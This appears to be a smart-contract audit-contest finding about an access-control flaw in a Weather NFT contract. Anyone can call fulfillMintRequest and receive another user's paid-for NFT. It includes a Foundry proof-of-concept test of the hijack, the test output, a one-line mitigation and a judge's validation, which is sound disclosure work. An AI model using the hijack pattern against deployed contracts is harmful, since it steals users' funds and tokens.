Weather Witness

First Flight #40
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

`fulfillMintRequest` function enables unauthorized NFT minting

Root + Impact

Description

  • The fulfillMintRequest function allows any external account to call it with any requestId. Since this function triggers the actual minting of an NFT to msg.sender, it becomes a serious attack surface.

  • If a malicious actor identifies a valid and pending requestId, they can front-run or preemptively complete another user's request and mint an NFT to themselves

  • This also exposes users to fund loss. If a user deposited LINK (via _initLinkDeposit) as part of a request, and a malicious actor frontruns or hijacks the fulfillment, the legitimate user loses their LINK without receiving the NFT, breaking economic and trust guarantees.

Risk

Likelihood:

  • The function is public, and the mint flow is tied to easily observable requestId's

Impact:

  • Enables unauthorized NFT minting and loss of user funds this LINK deposits, once they are not being used for the user itself, undermining the security of the oracle-minting flow.

Proof of Concept

Run this test into WeatherNftForkTest:

function test_fulfillMintRequest_enables_unauthorized_NFT_minting() public {
// Input
uint256 amount = weatherNft.s_currentMintPrice();
string memory pincode = "125001";
string memory isoCode = "IN";
bool registerKeeper = false;
uint256 heartbeat = 0;
uint256 initLinkDeposit = 0;
// Alice calls requestMintWeatherNFT
vm.startPrank(alice);
linkToken.approve(address(weatherNft), initLinkDeposit);
vm.recordLogs();
weatherNft.requestMintWeatherNFT{value: amount}(pincode, isoCode, registerKeeper, heartbeat, initLinkDeposit);
Vm.Log[] memory logs = vm.getRecordedLogs();
bytes32 reqId;
for (uint256 i; i < logs.length; i++) {
if (logs[i].topics[0] == keccak256("WeatherNFTMintRequestSent(address,string,string,bytes32)")) {
(,,, reqId) = abi.decode(logs[i].data, (address, string, string, bytes32));
break;
}
}
vm.stopPrank();
vm.startPrank(functionsRouter);
bytes memory weatherResponse = abi.encode(WeatherNftStore.Weather.RAINY);
weatherNft.handleOracleFulfillment(reqId, weatherResponse, "");
vm.stopPrank();
// Attacker calls fulfillMintRequest and mints the NFT that was supposed to be minted for alice
vm.startPrank(attacker);
weatherNft.fulfillMintRequest(reqId);
vm.stopPrank();
assertEq(weatherNft.ownerOf(weatherNft.s_tokenCounter() - 1), alice);
}

Result:

Failing tests:
Encountered 1 failing test in test/Interactions.t.sol:Interactions
[FAIL: assertion failed: 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e != 0x328809Bc894f92807417D2dAD6b7C998c1aFdac6] test_fulfillMintRequest_enables_unauthorized_NFT_minting() (gas: 745185)

Recommended Mitigation

Use the _userMintRequest.user the user that requested the mint of weatherNFT

function fulfillMintRequest(bytes32 requestId) external {
bytes memory response = s_funcReqIdToMintFunctionReqResponse[requestId].response;
bytes memory err = s_funcReqIdToMintFunctionReqResponse[requestId].err;
require(response.length > 0 || err.length > 0, WeatherNft__Unauthorized());
if (response.length == 0 || err.length > 0) {
return;
}
UserMintRequest memory _userMintRequest = s_funcReqIdToUserMintReq[requestId];
uint8 weather = abi.decode(response, (uint8));
uint256 tokenId = s_tokenCounter;
s_tokenCounter++;
emit WeatherNFTMinted(requestId, msg.sender, Weather(weather));
- _mint(msg.sender, tokenId);
+ _mint(_userMintRequest.user, tokenId);
s_tokenIdToWeather[tokenId] = Weather(weather);
Updates

Appeal created

bube Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of ownership check in `fulfillMintRequest` function

There is no check to ensure that the caller of the `fulfillMintRequest` function is actually the owner of the `requestId`. This allows a malicious user to receive a NFT that is payed from someone else.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.